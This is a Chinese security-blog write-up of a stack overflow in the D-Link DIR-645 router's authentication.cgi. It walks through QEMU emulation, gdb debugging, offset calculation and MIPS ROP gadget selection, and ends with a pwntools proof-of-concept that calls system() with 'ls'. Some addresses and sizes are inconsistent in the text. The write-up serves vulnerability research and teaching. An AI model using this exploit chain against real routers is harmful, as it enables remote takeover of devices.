freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

D-Link DIR-645路由器栈溢出漏洞分析
2021-08-19 16:43:33

D-Link DIR-645路由器栈溢出漏洞分析

1. 漏洞介绍

该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。

固件版本DIR645A1_FW103B11

下载地址 http://files.dlink.com.au/products/DIR-645/REV_A/Firmware/DIR645_FW103B11/DIR645A1_FW103B11.zip

2.漏洞分析

2.1 固件分析

解压固件

image

查找漏洞点authentication.cgi

image

可以看到autthentication.cgi是指向htdocs/cgibin的软连接,真正的漏洞代码存在于cgibin中

2.2 漏洞成因分析

2.2.1 调试准备

模拟运行程序(参考揭秘家用路由器0day漏洞挖掘技术 run_cgi.sh)

测试脚本(改进run_cgi.sh)

#!/bin/bash

INPUT="$1" #第一个参数
TEST="$2" #第二个参数
LEN=$(echo -n "$INPUT" | wc -c) #获取第一个参数长度
PORT="1234" # gdb调试端口
cp $(which qemu-mipsel-static) ./qemu-mipsel-static
echo $TEST # 打印第二个参数
echo "$INPUT" | chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi

注意点

书中qemu-mipsel模拟运行出现报错,需要使用qemu-mipsel-static才可以

-E 指令定义运行环境变量

-g gdb调试端口

2.2.1 测试漏洞

鉴于"password"参数值没有校验数据大小,可以构造0x600个脏数据

$ sudo ./run_cgi.sh `python -c "print 'uid=1234&password='+'A' * 0x6000"` "uid=1234"

在authentication_main函数中下断点(0x400B024)

image

定位函数返回值,查看saved_ra被覆盖情况(7FFFEFAC)

image

F8单步调试,运行到0x0040B500

image

此时saved_ra还没有被覆盖脏数据

image

执行read函数之后,saved_ra已被脏数据填充

image

综上我们可以发现read函数引发了缓冲区溢出漏洞

2.3 read函数如何引发缓冲区溢出

read函数原型

#include <unistd.h>
ssize_t read(int fd,void *buf,size_t count);

fileno函数原型

#inlcude <stdio.h>
int fileno(FILE *stream);

获取文件描述符之后读取缓冲区数据

image

read函数从CONTENT_LENGTH读取长度的数据,但由于v70这个临时变量大小仅为1024字节,导致长度被定义为任意大小,因此导致缓冲区溢出

3. 漏洞利用

利用过程如下:

确定控制偏移

构造ROP

构建攻击利用数据

3.1 确定偏移

用工具pattern offset来计算偏移

下载地址 https://github.com/desword/shellcode_tools

用patternLocOffset.py创建1160字节脏数据

$ python patternLocOffset.py -c -l 1160 -f test_auth
[*] Create pattern string contains 1160 characters ok!
[+] output to test_auth ok!
[+] take time: 0.0004 s

计算偏移

$ ./run_cgi.sh `python -c "print 'uid=1234&password='+open('test_auth','r').read(1160)"` "uid=1234"

运行到authentication_main函数返回地址

image

$S0 = 0x42386842 $S0寄存器函数返回寄存器的值

$RA = 0x42306A42

计算偏移(1014字节)

$ python patternLocOffset.py -s 0x42386842 -l 1160
[*] Create pattern string contains 1160 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1014 (adjusted another-endian)
[+] take time: 0.0007 s

3.2 构造ROP

3.2.1 构造gadget

通过充分利用覆盖寄存器实现system函数调用

查看system函数地址(0x00053200)

image

搜索把堆栈数据放入寄存器的指令片段

mipsrop.stackfinders()

image

image

0x00159CC处的指令,该指令第一步将$sp+16地址存入寄存器$S5中,而在偏移地址0x159E0将$S5存入$a0寄存器,这里将system函数地址存入$S0寄存器,然后在$SP+16处填充需要执行的命令,实现对system函数的调用。

考虑到\x00被截断的风险,需要对system函数地址进行转换

搜索相应指令片段

mipsrop.find("addiu $s0,1")

image

image

完整的ROP构造和调用过程

image

3.2.2 寻找基地址

libc.so.0是动态加载的,需要获取libc.so基地址

模拟运行程序

$ ./run_cgi.sh `python -c "print 'uid=1234&password='+open('test_auth','r').read(1160)"` "uid=1234"

gdb-multiarch 调试

$ gdb-multiarch htdocs/cgibin
pwndbg> target remote :1234
pwndbg> c
pwndbg> c
pwndbg> vmmap

查看基地址(0x7F73800)

image

system函数的真实地址= 基地址 + 偏移地址 = 0x7F73800 + 0x53200 = 7FCFA00

注意点:

  1. 需要程序完整运行,才能在vmmap中显示libuClibc.so动态库。(调试过程需要两次continue)

疑问

揭秘家用路由器0day漏洞挖掘技术书中对于本次漏洞采用了和sprintf一样的绕过方法,怕\x00被截断,所以采用减1加 1的方法,获得最终的system函数地址。但read函数本身不会因为\x00而被截断,所以是否可以直接使用system函数地址,大家可以尝试一下。

3.3 POC测试

from pwn import *

context.endian = "little"
context.arch = "mips"
base_addr =  0x7f738000
system_addr_1 = 0x531ff
gadget1 = 0x158c8
gadget2 = 0x159cc

padding = 'A' * 1014
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4                        # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += p32(base_addr + gadget2)       # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += 'ls'

with open("shellcode",'wb') as f:
    f.write(padding)

模拟运行程序

$ sudo ./run_cgi.sh `python -c "print 'uid=1234&password='+open('/home/iot/Desktop/shellcode','r').read()"` "uid=1234"

结果

image

总结

该漏洞主要对用户传入的数据没有进行安全检查,最终导致缓冲区溢出。即用户所有输入的数据都是不可信任的,需要开发者对传入数据进行有效安全检查。

参考

揭秘家用路由器0day漏洞挖掘技术

# 漏洞分析 # 路由器漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录